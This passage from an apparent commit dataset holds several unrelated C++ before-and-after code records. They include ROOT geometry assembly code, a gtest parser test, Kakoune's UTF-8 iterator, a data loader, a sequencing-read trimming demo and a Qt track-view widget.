TGeoShapeAssembly::SetPoints(Float_t * \/*points*\/) const\n{\n\/\/ No mesh for assemblies.\n   Error(\"SetPoints\", \"Drawing functions should not be called for assemblies, but rather for their content\");\n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::GetMeshNumbers(Int_t &nvert, Int_t &nsegs, Int_t &npols) const\n{\n\/\/ Returns numbers of vertices, segments and polygons composing the shape mesh.\n   nvert = 0;\n   nsegs = 0;\n   npols = 0;\n}\n\n<commit_msg>Fixed uninitialized variable, coverity # 21469<commit_after>\/\/ @(#)root\/geom:$Id$\n\/\/ Author: Andrei Gheata   02\/06\/05\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n\n#include \"Riostream.h\"\n\n#include \"TGeoManager.h\"\n#include \"TGeoVoxelFinder.h\"\n#include \"TGeoMatrix.h\"\n#include \"TGeoVolume.h\"\n#include \"TGeoNode.h\"\n#include \"TGeoShapeAssembly.h\"\n#include \"TBuffer3D.h\"\n#include \"TBuffer3DTypes.h\"\n#include \"TMath.h\"\n\n\/\/_____________________________________________________________________________\n\/\/ TGeoShapeAssembly - The shape encapsulating an assembly (union) of volumes.\n\/\/    \n\/\/_____________________________________________________________________________\n\n\nClassImp(TGeoShapeAssembly)\n   \n\/\/_____________________________________________________________________________\nTGeoShapeAssembly::TGeoShapeAssembly()\n{\n\/\/ Default constructor\n   fCurrent = 0;\n   fNext = 0;\n   fVolume  = 0;\n}   \n\n\n\/\/_____________________________________________________________________________\nTGeoShapeAssembly::TGeoShapeAssembly(TGeoVolumeAssembly *vol)\n{\n\/\/ Constructor specifying hyperboloid parameters.\n   fVolume  = vol;\n   fCurrent = 0;\n   fNext = 0;\n}\n\n\n\/\/_____________________________________________________________________________\nTGeoShapeAssembly::~TGeoShapeAssembly()\n{\n\/\/ destructor\n}\n\n\/\/_____________________________________________________________________________   \nvoid TGeoShapeAssembly::ComputeBBox()\n{\n\/\/ Compute bounding box of the assembly\n   if (!fVolume) {\n      Error(\"ComputeBBox\", \"Assebmly shape %s without volume\", GetName());\n      return;\n   } \n   Int_t nd = fVolume->GetNdaughters();\n   if (!nd) return;\n   TGeoNode *node;\n   TGeoBBox *box;\n   Double_t xmin, xmax, ymin, ymax, zmin, zmax;\n   xmin = ymin = zmin = TGeoShape::Big();\n   xmax = ymax = zmax = -TGeoShape::Big();\n   Double_t vert[24];\n   Double_t pt[3];\n   for (Int_t i=0; i<nd; i++) {\n      node = fVolume->GetNode(i);\n      if (node->GetVolume()->IsAssembly()) node->GetVolume()->GetShape()->ComputeBBox();\n      box = (TGeoBBox*)node->GetVolume()->GetShape();\n      box->SetBoxPoints(vert);\n      for (Int_t ipt=0; ipt<8; ipt++) {\n         node->LocalToMaster(&vert[3*ipt], pt);\n         if (pt[0]<xmin) xmin=pt[0];\n         if (pt[0]>xmax) xmax=pt[0];\n         if (pt[1]<ymin) ymin=pt[1];\n         if (pt[1]>ymax) ymax=pt[1];\n         if (pt[2]<zmin) zmin=pt[2];\n         if (pt[2]>zmax) zmax=pt[2];\n      }\n   }\n   fDX = 0.5*(xmax-xmin);\n   fOrigin[0] = 0.5*(xmin+xmax);\n   fDY = 0.5*(ymax-ymin);\n   fOrigin[1] = 0.5*(ymin+ymax);\n   fDZ = 0.5*(zmax-zmin);\n   fOrigin[2] = 0.5*(zmin+zmax);         \n}   \n\n\/\/_____________________________________________________________________________   \nvoid TGeoShapeAssembly::ComputeNormal(Double_t *point, Double_t *dir, Double_t *norm)\n{\n\/\/ Compute normal to closest surface from POINT. Should not be called.\n   Int_t inext = fVolume->GetNextNodeIndex();\n   if (inext<0) {\n      DistFromOutside(point,dir,3);\n      inext = fVolume->GetNextNodeIndex();\n      if (inext<0) {\n         Error(\"ComputeNormal\",\"Invalid inext=%i (Ncomponents=%i)\",inext,fVolume->GetNdaughters());\n         return;\n      }   \n   }   \n   TGeoNode *node = fVolume->GetNode(inext);\n   Double_t local[3],ldir[3],lnorm[3];\n   node->MasterToLocal(point,local);\n   node->MasterToLocalVect(dir,ldir);\n   node->GetVolume()->GetShape()->ComputeNormal(local,ldir,lnorm);\n   node->LocalToMasterVect(lnorm,norm);\n}\n\n\/\/_____________________________________________________________________________\nBool_t TGeoShapeAssembly::Contains(Double_t *point) const\n{\n\/\/ Test if point is inside the assembly\n   if (!TGeoBBox::Contains(point)) return kFALSE;\n   TGeoVoxelFinder *voxels = fVolume->GetVoxels();\n   TGeoNode *node;\n   TGeoShape *shape;\n   Int_t *check_list = 0;\n   Int_t ncheck, id;\n   Double_t local[3];\n   if (voxels) {\n      \/\/ get the list of nodes passing thorough the current voxel\n      check_list = voxels->GetCheckList(&point[0], ncheck);\n      if (!check_list) return kFALSE;\n      for (id=0; id<ncheck; id++) {\n         node = fVolume->GetNode(check_list[id]);\n         shape = node->GetVolume()->GetShape();\n         node->MasterToLocal(point,local);\n         if (shape->Contains(local)) {\n            fVolume->SetCurrentNodeIndex(check_list[id]);\n            fVolume->SetNextNodeIndex(check_list[id]);\n            return kTRUE;\n         }   \n      }\n      return kFALSE;\n   }      \n   Int_t nd = fVolume->GetNdaughters();\n   for (id=0; id<nd; id++) {\n      node = fVolume->GetNode(id);\n      shape = node->GetVolume()->GetShape();\n      node->MasterToLocal(point,local);\n      if (shape->Contains(local)) {\n         fVolume->SetCurrentNodeIndex(id);\n         fVolume->SetNextNodeIndex(id);      \n         return kTRUE;\n      }   \n   }\n   return kFALSE;   \n}\n\n\/\/_____________________________________________________________________________\nInt_t TGeoShapeAssembly::DistancetoPrimitive(Int_t \/*px*\/, Int_t \/*py*\/)\n{\n\/\/ compute closest distance from point px,py to each vertex. Should not be called.\n   return 9999;\n}\n\n\/\/_____________________________________________________________________________\nDouble_t TGeoShapeAssembly::DistFromInside(Double_t * \/*point*\/, Double_t * \/*dir*\/, Int_t \/*iact*\/, Double_t \/*step*\/, Double_t * \/*safe*\/) const\n{\n\/\/ Compute distance from inside point to surface of the hyperboloid.\n   Info(\"DistFromInside\", \"Cannot compute distance from inside the assembly (but from a component)\"); \n   return TGeoShape::Big();\n}\n\n\n\/\/_____________________________________________________________________________\nDouble_t TGeoShapeAssembly::DistFromOutside(Double_t *point, Double_t *dir, Int_t iact, Double_t step, Double_t *safe) const\n{\n\/\/ compute distance from outside point to surface of the hyperboloid.\n\/\/   fVolume->SetNextNodeIndex(-1);\n   if (iact<3 && safe) {\n      *safe = Safety(point, kFALSE);\n      if (iact==0) return TGeoShape::Big();\n      if ((iact==1) && (step<=*safe)) return TGeoShape::Big();\n   }\n   \/\/ find distance to assembly\n   Double_t snext = 0.0;\n   Double_t dist;\n   Double_t stepmax = step;\n   Double_t pt[3];\n   Int_t i;\n   Bool_t found = kFALSE;\n   memcpy(pt,point,3*sizeof(Double_t));\n   if (!TGeoBBox::Contains(point)) {\n      snext = TGeoBBox::DistFromOutside(point, dir, 3, stepmax);\n      if (snext > stepmax) return TGeoShape::Big();\n      for (i=0; i<3; i++) pt[i] += (snext+TGeoShape::Tolerance())*dir[i];\n      if (Contains(pt)) {\n         fVolume->SetNextNodeIndex(fVolume->GetCurrentNodeIndex());\n         return snext;\n      }   \n      snext += TGeoShape::Tolerance();\n      stepmax -= snext;\n   }\n   \/\/ Point represented by pt is now inside the bounding box - find distance to components   \n   Int_t nd = fVolume->GetNdaughters();\n   TGeoNode *node;\n   Double_t lpoint[3],ldir[3];\n   TGeoVoxelFinder *voxels = fVolume->GetVoxels();\n   if (nd<5 || !voxels) {\n      for (i=0; i<nd; i++) {\n         node = fVolume->GetNode(i);\n         if (voxels && voxels->IsSafeVoxel(pt, i, stepmax)) continue;\n         node->MasterToLocal(pt, lpoint);\n         node->MasterToLocalVect(dir, ldir);\n         dist = node->GetVolume()->GetShape()->DistFromOutside(lpoint, ldir, 3, stepmax);\n         if (dist<stepmax) {\n            stepmax = dist;\n            fVolume->SetNextNodeIndex(i);\n            found = kTRUE;\n         }\n      }\n      if (found) {\n         snext += stepmax;\n         return snext;\n      }\n      return TGeoShape::Big();   \n   }\n   \/\/ current volume is voxelized, first get current voxel\n   Int_t ncheck = 0;\n   Int_t *vlist = 0;\n   voxels->SortCrossedVoxels(pt, dir);\n   while ((vlist=voxels->GetNextVoxel(pt, dir, ncheck))) {\n      for (i=0; i<ncheck; i++) {\n         node = fVolume->GetNode(vlist[i]);\n         node->MasterToLocal(pt, lpoint);\n         node->MasterToLocalVect(dir, ldir);\n         dist = node->GetVolume()->GetShape()->DistFromOutside(lpoint, ldir, 3, stepmax);\n         if (dist<stepmax) {\n            stepmax = dist;\n            fVolume->SetNextNodeIndex(vlist[i]);\n            found = kTRUE;\n         }\n      }\n   }\n   if (found) {\n      snext += stepmax;\n      return snext;\n   }\n   return TGeoShape::Big();      \n}\n   \n\/\/_____________________________________________________________________________\nTGeoVolume *TGeoShapeAssembly::Divide(TGeoVolume * \/*voldiv*\/, const char *divname, Int_t \/*iaxis*\/, Int_t \/*ndiv*\/, \n                             Double_t \/*start*\/, Double_t \/*step*\/) \n{\n\/\/ Cannot divide assemblies.\n   Error(\"Divide\", \"Assemblies cannot be divided. Division volume %s not created\", divname);\n   return 0;\n}   \n\n\/\/_____________________________________________________________________________\nTGeoShape *TGeoShapeAssembly::GetMakeRuntimeShape(TGeoShape * \/*mother*\/, TGeoMatrix * \/*mat*\/) const\n{\n\/\/ in case shape has some negative parameters, these has to be computed\n\/\/ in order to fit the mother\n   Error(\"GetMakeRuntimeShape\", \"Assemblies cannot be parametrized.\");\n   return NULL;\n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::InspectShape() const\n{\n\/\/ print shape parameters\n   printf(\"*** Shape %s: TGeoShapeAssembly ***\\n\", GetName());\n   printf(\"    Volume assembly %s with %i nodes\\n\", fVolume->GetName(), fVolume->GetNdaughters());   \n   printf(\" Bounding box:\\n\");\n   TGeoBBox::InspectShape();\n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::SetSegsAndPols(TBuffer3D & \/*buff*\/) const\n{\n\/\/ Fill TBuffer3D structure for segments and polygons.\n   Error(\"SetSegsAndPols\", \"Drawing functions should not be called for assemblies, but rather for their content\");   \n}\n\n\/\/_____________________________________________________________________________\nDouble_t TGeoShapeAssembly::Safety(Double_t *point, Bool_t in) const\n{\n\/\/ computes the closest distance from given point to this shape, according\n\/\/ to option. The matching point on the shape is stored in spoint.\n   Double_t safety = TGeoShape::Big();\n   Double_t pt[3], loc[3];\n   if (in) {\n      Int_t index = fVolume->GetCurrentNodeIndex();\n      TGeoVolume *vol = fVolume;\n      TGeoNode *node;\n      memcpy(loc, point, 3*sizeof(Double_t));\n      while (index>=0) {\n         memcpy(pt, loc, 3*sizeof(Double_t));\n         node = vol->GetNode(index);\n         node->GetMatrix()->MasterToLocal(pt,loc);\n         vol = node->GetVolume();\n         index = vol->GetCurrentNodeIndex();\n         if (index<0) {\n            safety = vol->GetShape()->Safety(loc, in);\n            return safety;\n         }\n      }\n      return TGeoShape::Big();\n   }         \n   Double_t safe;\n   TGeoVoxelFinder *voxels = fVolume->GetVoxels();\n   Int_t nd = fVolume->GetNdaughters();\n   Double_t *boxes = 0;\n   if (voxels) boxes = voxels->GetBoxes();   \n   TGeoNode *node;\n   for (Int_t id=0; id<nd; id++) {\n      if (boxes && id>0) {\n         Int_t ist = 6*id;\n         Double_t dxyz = 0.;\n         Double_t dxyz0 = TMath::Abs(point[0]-boxes[ist+3])-boxes[ist];\n         if (dxyz0 > safety) continue;\n         Double_t dxyz1 = TMath::Abs(point[1]-boxes[ist+4])-boxes[ist+1];\n         if (dxyz1 > safety) continue;\n         Double_t dxyz2 = TMath::Abs(point[2]-boxes[ist+5])-boxes[ist+2];\n         if (dxyz2 > safety) continue;\n         if (dxyz0>0) dxyz+=dxyz0*dxyz0;\n         if (dxyz1>0) dxyz+=dxyz1*dxyz1;\n         if (dxyz2>0) dxyz+=dxyz2*dxyz2;\n         if (dxyz >= safety*safety) continue;\n      }\n      node = fVolume->GetNode(id);\n      safe = node->Safety(point, kFALSE);\n      if (safe<=0.0) return 0.0;\n      if (safe<safety) safety = safe;\n   }   \n   return safety;        \n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::SavePrimitive(ostream & \/*out*\/, Option_t * \/*option*\/ \/*= \"\"*\/)\n{\n\/\/ Save a primitive as a C++ statement(s) on output stream \"out\".\n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::SetPoints(Double_t * \/*points*\/) const\n{\n\/\/ No mesh for assemblies.\n   Error(\"SetPoints\", \"Drawing functions should not be called for assemblies, but rather for their content\");\n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::SetPoints(Float_t * \/*points*\/) const\n{\n\/\/ No mesh for assemblies.\n   Error(\"SetPoints\", \"Drawing functions should not be called for assemblies, but rather for their content\");\n}\n\n\/\/_____________________________________________________________________________\nvoid TGeoShapeAssembly::GetMeshNumbers(Int_t &nvert, Int_t &nsegs, Int_t &npols) const\n{\n\/\/ Returns numbers of vertices, segments and polygons composing the shape mesh.\n   nvert = 0;\n   nsegs = 0;\n   npols = 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"Expression.hpp\"\n#include \"gtest\/gtest.h\"\n\nTEST(LMCh04Ex05, DISABLED_willAddNumbers)\n{\n    auto expression = lm::Expression(\"1.0 + 2.0\");\n    ASSERT_DOUBLE_EQ(3.0, expression.getResult());\n}\n\nTEST(LMCh04Ex05, DISABLED_willSubtractNumbers)\n{\n    auto expression = lm::Expression(\"3.1 - 5.3\");\n    ASSERT_DOUBLE_EQ(-2.2, expression.getResult());\n}\n\nTEST(LMCh04Ex05, DISABLED_willMultiplyNumbers)\n{\n    auto expression = lm::Expression(\"20.1 * -0.128\");\n    ASSERT_DOUBLE_EQ(-2.5728, expression.getResult());\n}\n\nTEST(LMCh04Ex05, DISABLED_willDivideNumbers)\n{\n    auto expression = lm::Expression(\"128.0 \/ 64.0\");\n    ASSERT_DOUBLE_EQ(2.0, expression.getResult());\n}\n\nTEST(LMCh04Ex05, willThrowExceptionOnUnknownOp)\n{\n    std::cout << \"start test\" << std::endl;\n    auto expression = lm::Expression(\"12.0 ^ 14.1\");\n    std::cout << \"before throw\" << std::endl;\n    ASSERT_THROW(expression.getResult(), std::runtime_error);\n    std::cout << \"after throw\" << std::endl;\n}\n<commit_msg>travis test<commit_after>#include \"Expression.hpp\"\n#include \"gtest\/gtest.h\"\n\nTEST(LMCh04Ex05, DISABLED_willAddNumbers)\n{\n    auto expression = lm::Expression(\"1.0 + 2.0\");\n    ASSERT_DOUBLE_EQ(3.0, expression.getResult());\n}\n\nTEST(LMCh04Ex05, DISABLED_willSubtractNumbers)\n{\n    auto expression = lm::Expression(\"3.1 - 5.3\");\n    ASSERT_DOUBLE_EQ(-2.2, expression.getResult());\n}\n\nTEST(LMCh04Ex05, DISABLED_willMultiplyNumbers)\n{\n    auto expression = lm::Expression(\"20.1 * -0.128\");\n    ASSERT_DOUBLE_EQ(-2.5728, expression.getResult());\n}\n\nTEST(LMCh04Ex05, DISABLED_willDivideNumbers)\n{\n    auto expression = lm::Expression(\"128.0 \/ 64.0\");\n    ASSERT_DOUBLE_EQ(2.0, expression.getResult());\n}\n\nTEST(LMCh04Ex05, willThrowExceptionOnUnknownOp)\n{\n    std::cout << \"start test\" << std::endl;\n    std::string input{\"12.0 ^ 14.1\"};\n    auto expression = lm::Expression(input);\n    std::cout << \"before throw\" << std::endl;\n    ASSERT_THROW(expression.getResult(), std::runtime_error);\n    std::cout << \"after throw\" << std::endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef utf8_iterator_hh_INCLUDED\n#define utf8_iterator_hh_INCLUDED\n\n#include \"utf8.hh\"\n\n#include <iterator>\n\nnamespace Kakoune\n{\n\nnamespace utf8\n{\n\n\/\/ adapter for an iterator on bytes which permits to iterate\n\/\/ on unicode codepoints instead.\ntemplate<typename Iterator,\n         typename InvalidPolicy = utf8::InvalidPolicy::Pass>\nclass iterator : public std::iterator<std::forward_iterator_tag,\n                                      Codepoint, CharCount>\n{\npublic:\n    iterator(Iterator it, Iterator begin, Iterator end)\n        : m_it{std::move(it)}, m_begin{std::move(begin)}, m_end{std::move(end)}\n    {}\n\n    template<typename Container>\n    iterator(Iterator it, const Container& c)\n        : m_it{std::move(it)}, m_begin{std::begin(c)}, m_end{std::end(c)}\n    {}\n\n    iterator& operator++()\n    {\n        m_it = utf8::next(m_it, m_end);\n        invalidate_value();\n        return *this;\n    }\n\n    iterator operator++(int)\n    {\n        iterator save = *this;\n        ++*this;\n        return save;\n    }\n\n    iterator& operator--()\n    {\n        m_it = utf8::previous(m_it, m_begin);\n        invalidate_value();\n        return *this;\n    }\n\n    iterator operator--(int)\n    {\n        iterator save = *this;\n        --*this;\n        return save;\n    }\n\n    iterator operator+(CharCount count) const\n    {\n        if (count < 0)\n            return operator-(-count);\n\n        iterator res = *this;\n        while (count--)\n            ++res;\n        return res;\n    }\n\n    iterator operator-(CharCount count) const\n    {\n        if (count < 0)\n            return operator+(-count);\n\n        iterator res = *this;\n        while (count--)\n            --res;\n        return res;\n    }\n\n    bool operator==(const iterator& other) { return m_it == other.m_it; }\n    bool operator!=(const iterator& other) { return m_it != other.m_it; }\n\n    bool operator< (const iterator& other) const { return m_it < other.m_it; }\n    bool operator<= (const iterator& other) const { return m_it <= other.m_it; }\n\n    bool operator> (const iterator& other) const { return m_it > other.m_it; }\n    bool operator>= (const iterator& other) const { return m_it >= other.m_it; }\n\n    bool operator==(const Iterator& other) { return m_it == other; }\n    bool operator!=(const Iterator& other) { return m_it != other; }\n\n    bool operator< (const Iterator& other) const { return m_it < other; }\n    bool operator<= (const Iterator& other) const { return m_it <= other; }\n\n    bool operator> (const Iterator& other) const { return m_it > other; }\n    bool operator>= (const Iterator& other) const { return m_it >= other; }\n\n    CharCount operator-(const iterator& other) const\n    {\n        return utf8::distance(other.m_it, m_it);\n    }\n\n    Codepoint operator*() const\n    {\n        return get_value();\n    }\n\n    const Iterator& base() const { return m_it; }\n    Iterator& base() { return m_it; }\n\nprivate:\n    void invalidate_value() { m_value = -1; }\n    Codepoint get_value() const\n    {\n        if (m_value == -1)\n            m_value = utf8::codepoint<InvalidPolicy>(m_it, m_end);\n        return m_value;\n    }\n\n    Iterator m_it;\n    Iterator m_begin;\n    Iterator m_end;\n    mutable Codepoint m_value = -1;\n};\n\n}\n\n}\n#endif \/\/ utf8_iterator_hh_INCLUDED\n<commit_msg>Fix comparison operators in utf8_iterator and tag it as bidirectional<commit_after>#ifndef utf8_iterator_hh_INCLUDED\n#define utf8_iterator_hh_INCLUDED\n\n#include \"utf8.hh\"\n\n#include <iterator>\n\nnamespace Kakoune\n{\n\nnamespace utf8\n{\n\n\/\/ adapter for an iterator on bytes which permits to iterate\n\/\/ on unicode codepoints instead.\ntemplate<typename Iterator,\n         typename InvalidPolicy = utf8::InvalidPolicy::Pass>\nclass iterator : public std::iterator<std::bidirectional_iterator_tag,\n                                      Codepoint, CharCount>\n{\npublic:\n    iterator() = default;\n\n    iterator(Iterator it, Iterator begin, Iterator end)\n        : m_it{std::move(it)}, m_begin{std::move(begin)}, m_end{std::move(end)}\n    {}\n\n    template<typename Container>\n    iterator(Iterator it, const Container& c)\n        : m_it{std::move(it)}, m_begin{std::begin(c)}, m_end{std::end(c)}\n    {}\n\n    iterator& operator++()\n    {\n        m_it = utf8::next(m_it, m_end);\n        invalidate_value();\n        return *this;\n    }\n\n    iterator operator++(int)\n    {\n        iterator save = *this;\n        ++*this;\n        return save;\n    }\n\n    iterator& operator--()\n    {\n        m_it = utf8::previous(m_it, m_begin);\n        invalidate_value();\n        return *this;\n    }\n\n    iterator operator--(int)\n    {\n        iterator save = *this;\n        --*this;\n        return save;\n    }\n\n    iterator operator+(CharCount count) const\n    {\n        if (count < 0)\n            return operator-(-count);\n\n        iterator res = *this;\n        while (count--)\n            ++res;\n        return res;\n    }\n\n    iterator operator-(CharCount count) const\n    {\n        if (count < 0)\n            return operator+(-count);\n\n        iterator res = *this;\n        while (count--)\n            --res;\n        return res;\n    }\n\n    bool operator==(const iterator& other) const { return m_it == other.m_it; }\n    bool operator!=(const iterator& other) const { return m_it != other.m_it; }\n\n    bool operator< (const iterator& other) const { return m_it < other.m_it; }\n    bool operator<= (const iterator& other) const { return m_it <= other.m_it; }\n\n    bool operator> (const iterator& other) const { return m_it > other.m_it; }\n    bool operator>= (const iterator& other) const { return m_it >= other.m_it; }\n\n    bool operator==(const Iterator& other) { return m_it == other; }\n    bool operator!=(const Iterator& other) { return m_it != other; }\n\n    bool operator< (const Iterator& other) const { return m_it < other; }\n    bool operator<= (const Iterator& other) const { return m_it <= other; }\n\n    bool operator> (const Iterator& other) const { return m_it > other; }\n    bool operator>= (const Iterator& other) const { return m_it >= other; }\n\n    CharCount operator-(const iterator& other) const\n    {\n        return utf8::distance(other.m_it, m_it);\n    }\n\n    Codepoint operator*() const\n    {\n        return get_value();\n    }\n\n    const Iterator& base() const { return m_it; }\n    Iterator& base() { return m_it; }\n\nprivate:\n    void invalidate_value() { m_value = -1; }\n    Codepoint get_value() const\n    {\n        if (m_value == -1)\n            m_value = utf8::codepoint<InvalidPolicy>(m_it, m_end);\n        return m_value;\n    }\n\n    Iterator m_it;\n    Iterator m_begin;\n    Iterator m_end;\n    mutable Codepoint m_value = -1;\n};\n\n}\n\n}\n#endif \/\/ utf8_iterator_hh_INCLUDED\n<|endoftext|>"}
{"text":"<commit_before>#include \"Data.h\"\n\n<commit_msg>Read data from file<commit_after>#include \"Data.h\"\n#include <fstream>\n#include <vector>\n\nusing namespace std;\n\nData::Data()\n{\n\n}\n\nvoid Data::load(const char* filename)\n{\n\t\/\/ Vectors to hold the data\n\tstd::vector<double> _x;\n\tstd::vector<double> _y;\n\n\t\/\/ Open the file\n\tfstream fin(filename, ios::in);\n\n\t\/\/ Temporary variables\n\tdouble temp1, temp2;\n\n\t\/\/ Read until end of file\n\twhile(fin>>temp1 && fin>>temp2)\n\t{\n\t\t_x.push_back(temp1);\n\t\t_y.push_back(temp2);\n\t}\n\n\t\/\/ Close the file\n\tfin.close();\n\n\t\/\/ Copy the data to the valarrays\n\tx = valarray<double>(&_x[0], _x.size());\n\ty = valarray<double>(&_y[0], _y.size());\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * ============================================================================\n *\n *       Filename:  trim.cc\n *    Description:  Trim reads using the Needleman-Wunsch trimer\/merger\n *        License:  LGPL-3+\n *         Author:  Kevin Murray, spam@kdmurray.id.au\n *\n * ============================================================================\n *\/\n\n#include <iostream>\n#include <string>\n#include <thread>\n\n#include \"qcpp.hh\"\n#include \"qc-qualtrim.hh\"\n#include \"qc-measure.hh\"\n\nstd::mutex _cout_mutex;\n\nvoid parse_and_print(qcpp::ProcessedReadStream *stream)\n{\n    qcpp::ReadPair rp;\n    bool not_at_end = stream->parse_read_pair(rp);\n    while (not_at_end) {\n        std::string rp_str = rp.str();\n        {\n            std::lock_guard<std::mutex> lg(_cout_mutex);\n            std::cout << rp_str;\n        }\n        not_at_end = stream->parse_read_pair(rp);\n    }\n}\n\nint\nmain (int argc, char *argv[])\n{\n    qcpp::ProcessedReadStream stream;\n    std::vector<std::thread> threads;\n    unsigned int n_threads = std::thread::hardware_concurrency();\n    n_threads = 1;\n\n    if (argc != 2) {\n        std::cerr << \"USAGE: \" << argv[0] << \" <read_file>\" << std::endl;\n        return EXIT_FAILURE;\n    }\n\n    stream.open(argv[1]);\n    stream.append_processor<qcpp::PerBaseQuality>(\"Before QC\");\n    stream.append_processor<qcpp::WindowedQualTrim>(\"Qual Trim\", 20, 33, 4);\n    stream.append_processor<qcpp::PerBaseQuality>(\"after qc\");\n\n\n    for (size_t i = 0; i < n_threads; i++) {\n        threads.push_back(std::thread(parse_and_print, &stream));\n    }\n    for (size_t i = 0; i < n_threads; i++) {\n        threads[i].join();\n    }\n    std::cerr << stream.report();\n    return EXIT_SUCCESS;\n}\n<commit_msg>Update qualtrim demo<commit_after>\/*\n * ============================================================================\n *\n *       Filename:  trim.cc\n *    Description:  Trim reads using the windowed quality trimming algorithm\n *        License:  LGPL-3+\n *         Author:  Kevin Murray, spam@kdmurray.id.au\n *\n * ============================================================================\n *\/\n\n#include <iostream>\n#include <string>\n\n#include \"qcpp.hh\"\n#include \"qc-qualtrim.hh\"\n#include \"qc-measure.hh\"\n\n#if 0\n#include <thread>\nstd::mutex _cout_mutex;\n\nvoid parse_and_print(qcpp::ProcessedReadStream *stream)\n{\n    qcpp::ReadPair rp;\n    bool not_at_end = stream->parse_read_pair(rp);\n    while (not_at_end) {\n        std::string rp_str = rp.str();\n        {\n            std::lock_guard<std::mutex> lg(_cout_mutex);\n            std::cout << rp_str;\n        }\n        not_at_end = stream->parse_read_pair(rp);\n    }\n}\n\nint\nmain (int argc, char *argv[])\n{\n    qcpp::ProcessedReadStream stream;\n    std::vector<std::thread> threads;\n    unsigned int n_threads = std::thread::hardware_concurrency() - 1;\n\n    if (argc != 2) {\n        std::cerr << \"USAGE: \" << argv[0] << \" <read_file>\" << std::endl;\n        return EXIT_FAILURE;\n    }\n\n    stream.open(argv[1]);\n    \/\/stream.append_processor<qcpp::PerBaseQuality>(\"Before QC\");\n    stream.append_processor<qcpp::WindowedQualTrim>(\"Qual Trim\", 33, 20, 4);\n    \/\/stream.append_processor<qcpp::PerBaseQuality>(\"after qc\");\n\n\n    for (size_t i = 0; i < n_threads; i++) {\n        threads.push_back(std::thread(parse_and_print, &stream));\n    }\n    for (size_t i = 0; i < n_threads; i++) {\n        threads[i].join();\n    }\n    std::cerr << stream.report();\n    return EXIT_SUCCESS;\n}\n\n#else\nint\nmain (int argc, char *argv[])\n{\n    qcpp::ProcessedReadStream stream;\n    qcpp::ReadPair rp;\n\n    if (argc != 2) {\n        std::cerr << \"USAGE: \" << argv[0] << \" <read_file>\" << std::endl;\n        return EXIT_FAILURE;\n    }\n\n    stream.open(argv[1]);\n    \/\/stream.append_processor<qcpp::PerBaseQuality>(\"Before QC\");\n    stream.append_processor<qcpp::WindowedQualTrim>(\"Qual Trim\", 33, 20, 4);\n    \/\/stream.append_processor<qcpp::PerBaseQuality>(\"after qc\");\n\n    while (stream.parse_read_pair(rp)) {\n        std::cout << rp.str();\n    }\n\n    std::cerr << stream.report();\n    return EXIT_SUCCESS;\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\n#include <QPaintEvent>\n#include <QPainter>\n#include <QMenu>\n#include <QPoint>\n#include <limits>\n#include \"PGTATrackView.h\"\n#include \"ui_PGTATrackView.h\"\n#include \"PGTATreeView.h\"\n#include \"PGTAPropertiesView.h\"\n#include \"ui_PGTAPropertiesView.h\"\n#include \"PGTATrackTreeModel.h\"\n\nPGTATrackView::PGTATrackView(QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::PGTATrackView),\n    m_treeView(nullptr),\n    m_dataWidgetMapper(nullptr),\n    m_propertiesView(nullptr)\n{\n    ui->setupUi(this);\n    m_treeView = new PGTATreeView(this);\n    m_treeView->header()->hide();\n    ui->mainLayout->addWidget(m_treeView);\n    SetupAddButtonMenu();\n    ConnectSignals();\n}\n\nPGTATrackView::~PGTATrackView()\n{\n    delete m_treeView;\n    delete m_dataWidgetMapper;\n    delete ui;\n}\n\nvoid PGTATrackView::ConnectSignals()\n{\n    \/\/ connect singnals and slots\n    connect(m_treeView, SIGNAL(customContextMenuRequested(QPoint)), this,\n            SLOT(onCustomContextMenu(const QPoint &)));\n    connect(ui->removeTrackItemButton, SIGNAL(clicked()), this, SLOT(slotRemoveTrackItem()));\n    connect(ui->BeatsCheckBox, SIGNAL(toggled(bool)), this, SLOT(slotMeasuredInBeats(bool)));\n}\n\nvoid PGTATrackView::SetupAddButtonMenu()\n{\n    \/\/ setup tool button context menu for add sample\/group button\n    QMenu *menu = new QMenu();\n    QAction *addGroup = menu->addAction(\"Add Group\");\n    connect(addGroup, SIGNAL(triggered()), this, SLOT(slotInsertGroup()));\n    QAction *addSample = menu->addAction(\"Add Sample\");\n    connect(addSample, SIGNAL(triggered()), this, SLOT(slotInsertSample()));\n    ui->addTrackItemButton->setPopupMode(QToolButton::InstantPopup);\n    ui->addTrackItemButton->setMenu(menu);\n}\n\nvoid PGTATrackView::paintEvent(QPaintEvent *)\n{\n    QStyleOption opt;\n    opt.init(this);\n    QPainter p(this);\n    style()->drawPrimitive(QStyle::PE_Widget, &opt, &p, this);\n}\n\nvoid PGTATrackView::SetTreeViewModel(QAbstractItemModel *model)\n{\n    if (!model)\n    {\n        return;\n    }\n\n    m_treeView->setModel(model);\n    \/\/ only show first column track tree view\n    for (int i = 1; i < model->columnCount(); ++i)\n    {\n        m_treeView->hideColumn(i);\n    }\n\n    \/\/HACKHACKHACK\n    PGTATrackTreeModel *model1 = static_cast<PGTATrackTreeModel*>(model);\n    ui->BeatsCheckBox->setChecked(model1->getIsMeasuredInBeats());\n    ConnectDataWidgetMapper(model);\n}\n\nvoid PGTATrackView::SetPropertiesView(PGTAPropertiesView *propertiesView)\n{\n    m_propertiesView = propertiesView;\n    if (!m_treeView)\n    {\n        return;\n    }\n\n    QAbstractItemModel *model = m_treeView->model();\n    if (model)\n    {\n        ConnectDataWidgetMapper(model);\n    }\n}\n\nvoid PGTATrackView::ConnectDataWidgetMapper(QAbstractItemModel *model)\n{\n    if (!m_propertiesView || !model)\n    {\n        return;\n    }\n\n    if (m_dataWidgetMapper)\n    